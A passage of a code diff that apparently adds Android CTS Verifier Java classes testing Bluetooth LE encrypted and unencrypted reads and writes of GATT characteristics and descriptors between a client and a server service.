+            UUID.fromString("00009995-0000-1000-8000-00805f9b34fb");

+    private static final UUID DESCRIPTOR_ENCRYPTED_WRITE_UUID =

+            UUID.fromString("00009994-0000-1000-8000-00805f9b34fb");

+    private static final UUID DESCRIPTOR_ENCRYPTED_READ_UUID =

+            UUID.fromString("00009993-0000-1000-8000-00805f9b34fb");

+

+    private BluetoothManager mBluetoothManager;

+    private BluetoothAdapter mBluetoothAdapter;

+    private BluetoothGatt mBluetoothGatt;

+    private BluetoothLeScanner mScanner;

+    private BluetoothDevice mDevice;

+    private Handler mHandler;

+    private Context mContext;

+    private String mAction;

+    private boolean mSecure;

+    private String mTarget;

+

+    private String mLastScanError;

+    private TestTaskQueue mTaskQueue;

+

+    public BleEncryptedClientService() {

+    }

+

+    @Override

+    public IBinder onBind(Intent intent) {

+        return null;

+    }

+

+    @Override

+    public void onCreate() {

+        super.onCreate();

+

+        mTaskQueue = new TestTaskQueue(getClass().getName() + "_enc_cli_taskHandlerThread");

+

+        mBluetoothManager = (BluetoothManager) getSystemService(Context.BLUETOOTH_SERVICE);

+        mBluetoothAdapter = mBluetoothManager.getAdapter();

+

+        mScanner = mBluetoothAdapter.getBluetoothLeScanner();

+        mHandler = new Handler();

+        mContext = this;

+        mSecure = false;

+    }

+

+    @Override

+    public void onDestroy() {

+        super.onDestroy();

+

+        mTaskQueue.quit();

+

+        if (mBluetoothGatt != null) {

+            mBluetoothGatt.disconnect();

+            mBluetoothGatt.close();

+            mBluetoothGatt = null;

+            mDevice = null;

+        }

+        stopScan();

+    }

+

+    private void notifyBluetoothDisabled() {

+        Intent intent = new Intent(INTENT_BLE_BLUETOOTH_DISABLED);

+        sendBroadcast(intent);

+    }

+

+    private void notifyDisconnected() {

+        Intent intent = new Intent(ACTION_DISCONNECTED);

+        sendBroadcast(intent);

+    }

+

+    @Override

+    public int onStartCommand(Intent intent, int flags, int startId) {

+        if (!mBluetoothAdapter.isEnabled()) {

+            notifyBluetoothDisabled();

+        } else {

+            if (intent != null) {

+                mAction = intent.getAction();

+                if (mAction == null) {

+                    mSecure = intent.getBooleanExtra(BleEncryptedServerService.EXTRA_SECURE, false);

+                } else {

+                    switch (mAction) {

+                    case ACTION_CONNECT_WITH_SECURE:

+                        mSecure = true;

+                        break;

+                    case ACTION_CONNECT_WITHOUT_SECURE:

+                        mSecure = false;

+                        break;

+                    case ACTION_WRITE_ENCRYPTED_CHARACTERISTIC:

+                        mTarget = BleEncryptedServerService.WRITE_CHARACTERISTIC;

+                        startScan();

+                        break;

+                    case ACTION_READ_ENCRYPTED_CHARACTERISTIC:

+                        mTarget = BleEncryptedServerService.READ_CHARACTERISTIC;

+                        startScan();

+                        break;

+                    case ACTION_WRITE_ENCRYPTED_DESCRIPTOR:

+                        mTarget = BleEncryptedServerService.WRITE_DESCRIPTOR;

+                        startScan();

+                        break;

+                    case ACTION_READ_ENCRYPTED_DESCRIPTOR:

+                        mTarget = BleEncryptedServerService.READ_DESCRIPTOR;

+                        startScan();

+                        break;

+                    default:

+                        return START_NOT_STICKY;

+                    }

+                }

+            }

+        }

+        return START_NOT_STICKY;

+    }

+

+    private BluetoothGattService getService() {

+        BluetoothGattService service = null;

+

+        if (mBluetoothGatt != null) {

+            service = mBluetoothGatt.getService(SERVICE_UUID);

+            if (service == null) {

+                showMessage("Service not found");

+            }

+        }

+        return service;

+    }

+

+    private BluetoothGattCharacteristic getCharacteristic(UUID uuid) {

+        BluetoothGattCharacteristic characteristic = null;

+

+        BluetoothGattService service = getService();

+        if (service != null) {

+            characteristic = service.getCharacteristic(uuid);

+            if (characteristic == null) {

+                showMessage("Characteristic not found");

+            }

+        }

+        return characteristic;

+    }

+

+    private BluetoothGattDescriptor getDescriptor(UUID uid) {

+        BluetoothGattDescriptor descriptor = null;

+

+        BluetoothGattCharacteristic characteristic = getCharacteristic(CHARACTERISTIC_UUID);

+        if (characteristic != null) {

+            descriptor = characteristic.getDescriptor(uid);

+            if (descriptor == null) {

+                showMessage("Descriptor not found");

+            }

+        }

+        return descriptor;

+    }

+

+    private void sleep(int millis) {

+        try {

+            Thread.sleep(millis);

+        } catch (InterruptedException e) {

+            Log.e(TAG, "Error in thread sleep", e);

+        }

+    }

+

+    private void startEncryptedAction() {

+        BluetoothGattCharacteristic characteristic;

+        BluetoothGattCharacteristic caseCharacteristic;

+        BluetoothGattDescriptor descriptor;

+        switch (mTarget) {

+        case BleEncryptedServerService.WRITE_CHARACTERISTIC:

+            Log.v(TAG, "WRITE_CHARACTERISTIC");

+            characteristic = getCharacteristic(CHARACTERISTIC_ENCRYPTED_WRITE_UUID);

+            characteristic.setValue(WRITE_VALUE);

+            mBluetoothGatt.writeCharacteristic(characteristic);

+            break;

+        case BleEncryptedServerService.READ_CHARACTERISTIC:

+            Log.v(TAG, "READ_CHARACTERISTIC");

+            characteristic = getCharacteristic(CHARACTERISTIC_ENCRYPTED_READ_UUID);

+            mBluetoothGatt.readCharacteristic(characteristic);

+            break;

+        case BleEncryptedServerService.WRITE_DESCRIPTOR:

+            Log.v(TAG, "WRITE_DESCRIPTOR");

+            descriptor = getDescriptor(DESCRIPTOR_ENCRYPTED_WRITE_UUID);

+            descriptor.setValue(WRITE_VALUE.getBytes());

+            mBluetoothGatt.writeDescriptor(descriptor);

+            break;

+        case BleEncryptedServerService.READ_DESCRIPTOR:

+            Log.v(TAG, "READ_DESCRIPTOR");

+            descriptor = getDescriptor(DESCRIPTOR_ENCRYPTED_READ_UUID);

+            mBluetoothGatt.readDescriptor(descriptor);

+            break;

+        }

+    }

+

+    private void showMessage(final String msg) {

+        mHandler.post(new Runnable() {

+            public void run() {

+                Toast.makeText(BleEncryptedClientService.this, msg, Toast.LENGTH_SHORT).show();

+            }

+        });

+    }

+

+    private final BluetoothGattCallback mGattCallbacks = new BluetoothGattCallback() {

+        @Override

+        public void onConnectionStateChange(BluetoothGatt gatt, int status, int newState) {

+            if (DEBUG) Log.d(TAG, "onConnectionStateChange: status = " + status + ", newState = " + newState);

+            if (status == BluetoothGatt.GATT_SUCCESS) {

+                if (newState == BluetoothProfile.STATE_CONNECTED) {

+                    showMessage("Bluetooth LE connected");

+                    mTaskQueue.addTask(new Runnable() {

+                        @Override

+                        public void run() {

+                            mBluetoothGatt.discoverServices();

+                        }

+                    }, 1000);

+                } else if (status == BluetoothProfile.STATE_DISCONNECTED) {

+                    showMessage("Bluetooth LE disconnected");

+                    mTaskQueue.addTask(new Runnable() {

+                        @Override

+                        public void run() {

+                            if (mBluetoothGatt != null) {

+                                mBluetoothGatt.close();

+                                mBluetoothGatt = null;

+                                mTarget = null;

+                                mDevice = null;

+                                notifyDisconnected();

+                            }

+                        }

+                    }, 1000);

+                }

+            } else {

+                showMessage("Connection Not Success.");

+                if (mTarget != null) {

+                    Intent intent;

+                    switch (mTarget) {

+                    case BleEncryptedServerService.READ_CHARACTERISTIC:

+                        intent = new Intent(INTENT_BLE_READ_FAIL_ENCRYPTED_CHARACTERISTIC);

+                        break;

+                    case BleEncryptedServerService.WRITE_CHARACTERISTIC:

+                        if (mSecure) {

+                            intent = new Intent(INTENT_BLE_WRITE_FAIL_ENCRYPTED_CHARACTERISTIC);

+                        } else {

+                            intent = new Intent(INTENT_BLE_WRITE_ENCRYPTED_CHARACTERISTIC);

+                        }

+                        break;

+                    case BleEncryptedServerService.READ_DESCRIPTOR:

+                        intent = new Intent(INTENT_BLE_READ_FAIL_ENCRYPTED_DESCRIPTOR);

+                        break;

+                    case BleEncryptedServerService.WRITE_DESCRIPTOR:

+                        if (mSecure) {

+                            intent = new Intent(INTENT_BLE_WRITE_FAIL_ENCRYPTED_DESCRIPTOR);

+                        } else {

+                            intent = new Intent(INTENT_BLE_WRITE_ENCRYPTED_DESCRIPTOR);

+                        }

+                        break;

+                    default:

+                        return;

+                    }

+                    if (mBluetoothGatt != null) {

+                        mBluetoothGatt.close();

+                        mBluetoothGatt = null;

+                        mDevice = null;

+                        mTarget = null;

+                    }

+                    sendBroadcast(intent);

+                }

+            }

+        }

+

+        @Override

+        public void onServicesDiscovered(BluetoothGatt gatt, int status) {

+            if (DEBUG){

+                Log.d(TAG, "onServiceDiscovered");

+            }

+            if ((status == BluetoothGatt.GATT_SUCCESS) && (mBluetoothGatt.getService(SERVICE_UUID) != null)) {

+                showMessage("Service discovered");

+                startEncryptedAction();

+            }

+        }

+

+        @Override

+        public void onCharacteristicWrite(BluetoothGatt gatt, BluetoothGattCharacteristic characteristic, final int status) {

+            final String value = characteristic.getStringValue(0);

+            UUID uid = characteristic.getUuid();

+            if (DEBUG) {

+                Log.d(TAG, "onCharacteristicWrite: characteristic.val=" + value + " status=" + status + " uid=" + uid);

+            }

+

+            if (uid.equals(CHARACTERISTIC_ENCRYPTED_WRITE_UUID)) {

+                mTaskQueue.addTask(new Runnable() {

+                    @Override

+                    public void run() {

+                        if (status == BluetoothGatt.GATT_SUCCESS) {

+                            if (mSecure) {

+                                mBluetoothGatt.disconnect();

+                                if (WRITE_VALUE.equals(value)) {

+                                    Intent intent = new Intent(INTENT_BLE_WRITE_ENCRYPTED_CHARACTERISTIC);

+                                    sendBroadcast(intent);

+                                } else {

+                                    showMessage("Written data is not correct");

+                                }

+                            }

+                        } else {

+                            if (!mSecure) {

+                                mBluetoothGatt.disconnect();

+                                Intent intent = new Intent(INTENT_BLE_WRITE_NOT_ENCRYPTED_CHARACTERISTIC);

+                                sendBroadcast(intent);

+                            } else {

+                                mBluetoothGatt.disconnect();

+                                Intent intent = new Intent(INTENT_BLE_WRITE_FAIL_ENCRYPTED_CHARACTERISTIC);

+                                sendBroadcast(intent);

+                            }

+                        }

+                    }

+                }, 1000);

+            }

+        }

+

+        @Override

+        public void onCharacteristicRead(BluetoothGatt gatt, final BluetoothGattCharacteristic characteristic, final int status) {

+            UUID uid = characteristic.getUuid();

+            if (DEBUG) {

+                Log.d(TAG, "onCharacteristicRead: status=" + status);

+            }

+            if (uid.equals(CHARACTERISTIC_ENCRYPTED_READ_UUID)) {

+                mTaskQueue.addTask(new Runnable() {

+                    @Override

+                    public void run() {

+                        if (status == BluetoothGatt.GATT_SUCCESS) {

+                            if (mSecure) {

+                                mBluetoothGatt.disconnect();

+                                if (Arrays.equals(BleEncryptedServerService.WRITE_VALUE.getBytes(), characteristic.getValue())) {

+                                    Intent intent = new Intent(INTENT_BLE_READ_ENCRYPTED_CHARACTERISTIC);

+                                    sendBroadcast(intent);

+                                } else {

+                                    showMessage("Read data is not correct");

+                                }

+                            } else {

+                                mBluetoothGatt.disconnect();

+                                Intent intent = new Intent(INTENT_BLE_READ_NOT_ENCRYPTED_CHARACTERISTIC);

+                                sendBroadcast(intent);

+                            }

+                        } else {

+                            if (!mSecure) {

+                                mBluetoothGatt.disconnect();

+                                Intent intent = new Intent(INTENT_BLE_READ_ENCRYPTED_CHARACTERISTIC);

+                                sendBroadcast(intent);

+                            } else {

+                                mBluetoothGatt.disconnect();

+                                Intent intent = new Intent(INTENT_BLE_READ_FAIL_ENCRYPTED_CHARACTERISTIC);

+                                sendBroadcast(intent);

+                            }

+                        }

+                    }

+                }, 1000);

+            }

+        }

+

+        @Override

+        public void onDescriptorRead(BluetoothGatt gatt, final BluetoothGattDescriptor descriptor, final int status) {

+            if (DEBUG) {

+                Log.d(TAG, "onDescriptorRead: status=" + status);

+            }

+

+            mTaskQueue.addTask(new Runnable() {

+                @Override

+                public void run() {

+                    UUID uid = descriptor.getUuid();

+                    if ((status == BluetoothGatt.GATT_SUCCESS)) {

+                        if (uid.equals(DESCRIPTOR_ENCRYPTED_READ_UUID)) {

+                            if (mSecure) {

+                                mBluetoothGatt.disconnect();

+                                if (Arrays.equals(BleEncryptedServerService.WRITE_VALUE.getBytes(), descriptor.getValue())) {

+                                    Intent intent = new Intent(INTENT_BLE_READ_ENCRYPTED_DESCRIPTOR);

+                                    sendBroadcast(intent);

+                                } else {

+                                    showMessage("Read data is not correct");

+                                }

+                            } else {

+                                mBluetoothGatt.disconnect();

+                                Intent intent = new Intent(INTENT_BLE_READ_NOT_ENCRYPTED_DESCRIPTOR);

+                                sendBroadcast(intent);

+                            }

+                        }

+                    } else {

+                        if (!mSecure) {

+                            mBluetoothGatt.disconnect();

+                            Intent intent = new Intent(INTENT_BLE_READ_ENCRYPTED_DESCRIPTOR);

+                            sendBroadcast(intent);

+                        } else {

+                            if (uid.equals(DESCRIPTOR_ENCRYPTED_READ_UUID)) {

+                                mBluetoothGatt.disconnect();

+                                Intent intent = new Intent(INTENT_BLE_READ_FAIL_ENCRYPTED_DESCRIPTOR);

+                                sendBroadcast(intent);

+                            }

+                        }

+                    }

+                }

+            }, 1000);

+        }

+

+        @Override

+        public void onDescriptorWrite(BluetoothGatt gatt, final BluetoothGattDescriptor descriptor, final int status) {

+            if (DEBUG) {

+                Log.d(TAG, "onDescriptorWrite: status=" + status);

+            }

+

+            mTaskQueue.addTask(new Runnable() {

+                @Override

+                public void run() {

+                    UUID uid = descriptor.getUuid();

+                    if (uid.equals(DESCRIPTOR_ENCRYPTED_WRITE_UUID)) {

+                        if ((status == BluetoothGatt.GATT_SUCCESS)) {

+                            if (mSecure) {

+                                mBluetoothGatt.disconnect();

+                                if (Arrays.equals(WRITE_VALUE.getBytes(), descriptor.getValue())) {

+                                    Intent intent = new Intent(INTENT_BLE_WRITE_ENCRYPTED_DESCRIPTOR);

+                                    sendBroadcast(intent);

+                                } else {

+                                    showMessage("Written data is not correct");

+                                }

+                            }

+                        } else {

+                            if (!mSecure) {

+                                mBluetoothGatt.disconnect();

+                                Intent intent = new Intent(INTENT_BLE_WRITE_NOT_ENCRYPTED_DESCRIPTOR);

+                                sendBroadcast(intent);

+                            } else {

+                                mBluetoothGatt.disconnect();

+                                Intent intent = new Intent(INTENT_BLE_WRITE_FAIL_ENCRYPTED_DESCRIPTOR);

+                                sendBroadcast(intent);

+                            }

+                        }

+                    }

+                }

+            }, 1000);

+        }

+    };

+

+    private final ScanCallback mScanCallback = new ScanCallback() {

+        @Override

+        public void onScanResult(int callbackType, final ScanResult result) {

+            if (mBluetoothGatt== null) {

+                mDevice = result.getDevice();

+                int bond_state = mDevice.getBondState();

+                if (mSecure && bond_state != BluetoothDevice.BOND_BONDED) {

+                    mLastScanError = "This test is a test of Secure.\n Before running the test, please do the pairing.";

+                    return;

+                } else if (!mSecure && bond_state != BluetoothDevice.BOND_NONE) {

+                    mLastScanError = "This test is a test of Insecure\n Before running the test, please release the pairing.";

+                    return;

+                }

+                mLastScanError = null;

+                stopScan();

+                mBluetoothGatt = BleClientService.connectGatt(mDevice, mContext, false, mSecure, mGattCallbacks);

+            }

+        }

+    };

+

+    private void startScan() {

+        if (DEBUG) Log.d(TAG, "startScan");

+        List<ScanFilter> filter = Arrays.asList(new ScanFilter.Builder().setServiceUuid(

+                new ParcelUuid(BleEncryptedServerService.ADV_SERVICE_UUID)).build());

+        ScanSettings setting = new ScanSettings.Builder()

+                .setScanMode(ScanSettings.SCAN_MODE_LOW_LATENCY).build();

+        mScanner.startScan(filter, setting, mScanCallback);

+

+        mTaskQueue.addTask(new Runnable() {

+            @Override

+            public void run() {

+                if (mLastScanError != null) {

+                    stopScan();

+                    Toast.makeText(BleEncryptedClientService.this, mLastScanError, Toast.LENGTH_LONG).show();

+                    mLastScanError = null;

+                }

+            }

+        }, 10000);

+    }

+

+    private void stopScan() {

+        if (DEBUG) Log.d(TAG, "stopScan");

+        if (mScanner != null) {

+            mScanner.stopScan(mScanCallback);

+        }

+    }

+}

diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleEncryptedServerBaseActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleEncryptedServerBaseActivity.java
new file mode 100644
index 0000000..5639b50
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleEncryptedServerBaseActivity.java
@@ -0,0 +1,166 @@
+/*

+ * Copyright (C) 2016 The Android Open Source Project

+ *

+ * Licensed under the Apache License, Version 2.0 (the "License");

+ * you may not use this file except in compliance with the License.

+ * You may obtain a copy of the License at

+ *

+ *      http://www.apache.org/licenses/LICENSE-2.0

+ *

+ * Unless required by applicable law or agreed to in writing, software

+ * distributed under the License is distributed on an "AS IS" BASIS,

+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.

+ * See the License for the specific language governing permissions and

+ * limitations under the License.

+ */

+

+package com.android.cts.verifier.bluetooth;

+

+import android.app.AlertDialog;

+import android.app.Dialog;

+import android.content.BroadcastReceiver;

+import android.content.Context;

+import android.content.DialogInterface;

+import android.content.Intent;

+import android.content.IntentFilter;

+import android.os.Bundle;

+import android.widget.ListView;

+import android.widget.Toast;

+

+import com.android.cts.verifier.PassFailButtons;

+import com.android.cts.verifier.R;

+

+import java.util.ArrayList;

+import java.util.List;

+

+public class BleEncryptedServerBaseActivity extends PassFailButtons.Activity {

+

+    private TestAdapter mTestAdapter;

+    private int mAllPassed;

+

+    private final int WAIT_WRITE_ENCRIPTED_CHARACTERISTIC = 0;

+    private final int WAIT_READ_ENCRIPTED_CHARACTERISTIC = 1;

+    private final int WAIT_WRITE_ENCRIPTED_DESCRIPTOR = 2;

+    private final int WAIT_READ_ENCRIPTED_DESCRIPTOR = 3;

+

+    @Override

+    protected void onCreate(Bundle savedInstanceState) {

+        super.onCreate(savedInstanceState);

+        setContentView(R.layout.ble_encrypted_server_test);

+        setPassFailButtonClickListeners();

+        setInfoResources(R.string.ble_encrypted_server_name,

+                R.string.ble_encrypted_server_info, -1);

+

+        getPassButton().setEnabled(false);

+

+        mTestAdapter = new TestAdapter(this, setupTestList());

+        ListView listView = (ListView) findViewById(R.id.ble_server_enctypted_tests);

+        listView.setAdapter(mTestAdapter);

+

+        startService(new Intent(this, BleEncryptedServerService.class));

+    }

+

+    @Override

+    public void onResume() {

+        super.onResume();

+

+        IntentFilter filter = new IntentFilter();

+        filter.addAction(BleEncryptedServerService.INTENT_BLUETOOTH_DISABLED);

+        filter.addAction(BleEncryptedServerService.INTENT_WAIT_WRITE_ENCRYPTED_CHARACTERISTIC);

+        filter.addAction(BleEncryptedServerService.INTENT_WAIT_READ_ENCRYPTED_CHARACTERISTIC);

+        filter.addAction(BleEncryptedServerService.INTENT_WAIT_WRITE_ENCRYPTED_DESCRIPTOR);

+        filter.addAction(BleEncryptedServerService.INTENT_WAIT_READ_ENCRYPTED_DESCRIPTOR);

+        filter.addAction(BleServerService.BLE_ADVERTISE_UNSUPPORTED);

+        filter.addAction(BleServerService.BLE_OPEN_FAIL);

+        registerReceiver(mBroadcast, filter);

+    }

+

+    @Override

+    public void onPause() {

+        super.onPause();

+        unregisterReceiver(mBroadcast);

+    }

+

+    private List<Integer> setupTestList() {

+        ArrayList<Integer> testList = new ArrayList<Integer>();

+        testList.add(R.string.ble_server_write_characteristic_need_encrypted);

+        testList.add(R.string.ble_server_read_characteristic_need_encrypted);

+        testList.add(R.string.ble_server_write_descriptor_need_encrypted);

+        testList.add(R.string.ble_server_read_descriptor_need_encrypted);

+        return testList;

+    }

+

+    @Override

+    public void onDestroy() {

+        super.onDestroy();

+        stopService(new Intent(this, BleConnectionPriorityServerService.class));

+    }

+

+    private BroadcastReceiver mBroadcast = new BroadcastReceiver() {

+        @Override

+        public void onReceive(Context context, Intent intent) {

+            String action = intent.getAction();

+            switch (action) {

+            case BleEncryptedServerService.INTENT_BLUETOOTH_DISABLED:

+                new AlertDialog.Builder(context)

+                        .setTitle(R.string.ble_bluetooth_disable_title)

+                        .setMessage(R.string.ble_bluetooth_disable_message)

+                        .setOnCancelListener(new Dialog.OnCancelListener() {

+                            @Override

+                            public void onCancel(DialogInterface dialog) {

+                                finish();

+                            }

+                        })

+                        .create().show();

+                break;

+            case BleEncryptedServerService.INTENT_WAIT_WRITE_ENCRYPTED_CHARACTERISTIC:

+                mTestAdapter.setTestPass(WAIT_WRITE_ENCRIPTED_CHARACTERISTIC);

+                mAllPassed |= 0x01;

+                break;

+            case BleEncryptedServerService.INTENT_WAIT_READ_ENCRYPTED_CHARACTERISTIC:

+                mTestAdapter.setTestPass(WAIT_READ_ENCRIPTED_CHARACTERISTIC);

+                mAllPassed |= 0x02;

+                break;

+            case BleEncryptedServerService.INTENT_WAIT_WRITE_ENCRYPTED_DESCRIPTOR:

+                mTestAdapter.setTestPass(WAIT_WRITE_ENCRIPTED_DESCRIPTOR);

+                mAllPassed |= 0x04;

+                break;

+            case BleEncryptedServerService.INTENT_WAIT_READ_ENCRYPTED_DESCRIPTOR:

+                mTestAdapter.setTestPass(WAIT_READ_ENCRIPTED_DESCRIPTOR);

+                mAllPassed |= 0x08;

+                break;

+            case BleServerService.BLE_ADVERTISE_UNSUPPORTED:

+                showErrorDialog(R.string.bt_advertise_unsupported_title, R.string.bt_advertise_unsupported_message, true);

+                break;

+            case BleServerService.BLE_OPEN_FAIL:

+                setTestResultAndFinish(false);

+                runOnUiThread(new Runnable() {

+                    @Override

+                    public void run() {

+                        Toast.makeText(BleEncryptedServerBaseActivity.this, R.string.bt_open_failed_message, Toast.LENGTH_SHORT).show();

+                    }

+                });

+                break;

+            }

+            mTestAdapter.notifyDataSetChanged();

+            if (mAllPassed == 0x0F) {

+                getPassButton().setEnabled(true);

+            }

+        }

+    };

+

+    private void showErrorDialog(int titleId, int messageId, boolean finish) {

+        AlertDialog.Builder builder = new AlertDialog.Builder(this)

+                .setTitle(titleId)

+                .setMessage(messageId);

+        if (finish) {

+            builder.setOnCancelListener(new Dialog.OnCancelListener() {

+                @Override

+                public void onCancel(DialogInterface dialog) {

+                    finish();

+                }

+            });

+        }

+        builder.create().show();

+    }

+}

diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleEncryptedServerService.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleEncryptedServerService.java
new file mode 100644
index 0000000..6fb09a1
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleEncryptedServerService.java
@@ -0,0 +1,480 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.bluetooth;
+
+import android.app.Service;
+import android.bluetooth.BluetoothDevice;
+import android.bluetooth.BluetoothGatt;
+import android.bluetooth.BluetoothGattCharacteristic;
+import android.bluetooth.BluetoothGattDescriptor;
+import android.bluetooth.BluetoothGattServer;
+import android.bluetooth.BluetoothGattServerCallback;
+import android.bluetooth.BluetoothGattService;
+import android.bluetooth.BluetoothManager;
+import android.bluetooth.BluetoothProfile;
+import android.bluetooth.le.AdvertiseCallback;
+import android.bluetooth.le.AdvertiseData;
+import android.bluetooth.le.AdvertiseSettings;
+import android.bluetooth.le.BluetoothLeAdvertiser;
+import android.content.Context;
+import android.content.Intent;
+import android.os.Handler;
+import android.os.IBinder;
+import android.os.ParcelUuid;
+import android.util.Log;
+
+import java.util.Arrays;
+import java.util.UUID;
+
+public class BleEncryptedServerService extends Service {
+    public BleEncryptedServerService() {
+    }
+    public static final boolean DEBUG = true;
+    public static final String TAG = "BleEncryptedServer";
+
+    public static final String INTENT_BLUETOOTH_DISABLED =
+            "com.android.cts.verifier.bluetooth.encripted.intent.BLUETOOTH_DISABLED";
+
+    public static final String ACTION_CONNECT_WITH_SECURE =
+            "com.android.cts.verifier.bluetooth.encripted.action.ACTION_CONNECT_WITH_SECURE";
+    public static final String ACTION_CONNECT_WITHOUT_SECURE =
+            "com.android.cts.verifier.bluetooth.encripted.action.ACTION_CONNECT_WITHOUT_SECURE";
+
+    public static final String INTENT_WAIT_WRITE_ENCRYPTED_CHARACTERISTIC =
+            "com.android.cts.verifier.bluetooth.encripted.intent.WAIT_WRITE_ENCRYPTED_CHARACTERISTIC";
+    public static final String INTENT_WAIT_READ_ENCRYPTED_CHARACTERISTIC =
+            "com.android.cts.verifier.bluetooth.encripted.intent.WAIT_READ_ENCRYPTED_CHARACTERISTIC";
+    public static final String INTENT_WAIT_WRITE_ENCRYPTED_DESCRIPTOR =
+            "com.android.cts.verifier.bluetooth.encripted.intent.WAIT_WRITE_ENCRYPTED_DESCRIPTOR";
+    public static final String INTENT_WAIT_READ_ENCRYPTED_DESCRIPTOR =
+            "com.android.cts.verifier.bluetooth.encripted.intent.WAIT_READ_ENCRYPTED_DESCRIPTOR";
+
+    private static final UUID SERVICE_UUID =
+            UUID.fromString("00009999-0000-1000-8000-00805f9b34fb");
+    private static final UUID CHARACTERISTIC_UUID =
+            UUID.fromString("00009998-0000-1000-8000-00805f9b34fb");
+    private static final UUID DESCRIPTOR_UUID =
+            UUID.fromString("00009997-0000-1000-8000-00805f9b34fb");
+
+    private static final UUID CHARACTERISTIC_ENCRYPTED_WRITE_UUID =
+            UUID.fromString("00009996-0000-1000-8000-00805f9b34fb");
+    private static final UUID CHARACTERISTIC_ENCRYPTED_READ_UUID =
+            UUID.fromString("00009995-0000-1000-8000-00805f9b34fb");
+    private static final UUID DESCRIPTOR_ENCRYPTED_WRITE_UUID =
+            UUID.fromString("00009994-0000-1000-8000-00805f9b34fb");
+    private static final UUID DESCRIPTOR_ENCRYPTED_READ_UUID =
+            UUID.fromString("00009993-0000-1000-8000-00805f9b34fb");
+
+    public static final UUID ADV_SERVICE_UUID=
+            UUID.fromString("00002222-0000-1000-8000-00805f9b34fb");
+
+    private static final int CONN_INTERVAL = 150;   // connection interval 150ms
+
+    public static final String EXTRA_SECURE = "SECURE";
+    public static final String WRITE_CHARACTERISTIC = "WRITE_CHAR";
+    public static final String READ_CHARACTERISTIC = "READ_CHAR";
+    public static final String WRITE_DESCRIPTOR = "WRITE_DESC";
+    public static final String READ_DESCRIPTOR = "READ_DESC";
+
+    public static final String WRITE_VALUE = "ENC_SERVER_TEST";
+
+    private BluetoothManager mBluetoothManager;
+    private BluetoothGattServer mGattServer;
+    private BluetoothGattService mService;
+    private BluetoothDevice mDevice;
+    private BluetoothLeAdvertiser mAdvertiser;
+    private boolean mSecure;
+    private String mTarget;
+    private Handler mHandler;
+    private Runnable mResetValuesTask;
+
+    @Override
+    public void onCreate() {
+        super.onCreate();
+
+        mHandler = new Handler();
+        mBluetoothManager = (BluetoothManager) getSystemService(Context.BLUETOOTH_SERVICE);
+        mAdvertiser = mBluetoothManager.getAdapter().getBluetoothLeAdvertiser();
+        mGattServer = mBluetoothManager.openGattServer(this, mCallbacks);
+        mService = createService();
+        if ((mGattServer != null) && (mAdvertiser != null)) {
+            mGattServer.addService(mService);
+        }
+        mDevice = null;
+        mSecure = false;
+        if (!mBluetoothManager.getAdapter().isEnabled()) {
+            notifyBluetoothDisabled();
+        } else if (mGattServer == null) {
+            notifyOpenFail();
+        } else if (mAdvertiser == null) {
+            notifyAdvertiseUnsupported();
+        } else {
+            startAdvertise();
+        }
+
+        resetValues();
+    }
+
+    @Override
+    public void onDestroy() {
+        super.onDestroy();
+        stopAdvertise();
+        if (mGattServer == null) {
+            return;
+        }
+        if (mDevice != null) {
+            mGattServer.cancelConnection(mDevice);
+        }
+        mGattServer.clearServices();
+        mGattServer.close();
+    }
+
+    @Override
+    public IBinder onBind(Intent intent) {
+        return null;
+    }
+
+    @Override
+    public int onStartCommand(Intent intent, int flags, int startId) {
+        String action = intent.getAction();
+        if (action != null) {
+            switch (action) {
+            case ACTION_CONNECT_WITH_SECURE:
+                mSecure = true;
+                break;
+            case ACTION_CONNECT_WITHOUT_SECURE:
+                mSecure = false;
+                break;
+            }
+        }
+        return START_NOT_STICKY;
+    }
+
+    /**
+     * Sets default value to characteristic and descriptor.
+     *
+     * Set operation will be done after connection interval.
+     * (If set values immediately, multiple read/write operations may fail.)
+     */
+    private synchronized void resetValues() {
+        // cancel pending task
+        if (mResetValuesTask != null) {
+            mHandler.removeCallbacks(mResetValuesTask);
+            mResetValuesTask = null;
+        }
+
+        // reserve task
+        mResetValuesTask = new Runnable() {
+            @Override
+            public void run() {
+                BluetoothGattCharacteristic characteristic = mService.getCharacteristic(CHARACTERISTIC_ENCRYPTED_READ_UUID);
+                characteristic.setValue(WRITE_VALUE.getBytes());
+                characteristic = mService.getCharacteristic(CHARACTERISTIC_UUID);
+                characteristic.getDescriptor(DESCRIPTOR_ENCRYPTED_READ_UUID).setValue(WRITE_VALUE.getBytes());
+            }
+        };
+        mHandler.postDelayed(mResetValuesTask, CONN_INTERVAL);
+    }
+
+    private void notifyBluetoothDisabled() {
+        Intent intent = new Intent(INTENT_BLUETOOTH_DISABLED);
+        sendBroadcast(intent);
+    }
+
+    private void notifyOpenFail() {
+        if (DEBUG) {
+            Log.d(TAG, "notifyOpenFail");
+        }
+        Intent intent = new Intent(BleServerService.BLE_OPEN_FAIL);
+        sendBroadcast(intent);
+    }
+
+    private void notifyAdvertiseUnsupported() {
+        if (DEBUG) {
+            Log.d(TAG, "notifyAdvertiseUnsupported");
+        }
+        Intent intent = new Intent(BleServerService.BLE_ADVERTISE_UNSUPPORTED);
+        sendBroadcast(intent);
+    }
+
+    private void notifyConnected() {
+        if (DEBUG) {
+            Log.d(TAG, "notifyConnected");
+        }
+        resetValues();
+    }
+
+    private void notifyDisconnected() {
+        if (DEBUG) {
+            Log.d(TAG, "notifyDisconnected");
+        }
+    }
+
+    private void notifyServiceAdded() {
+        if (DEBUG) {
+            Log.d(TAG, "notifyServiceAdded");
+        }
+    }
+
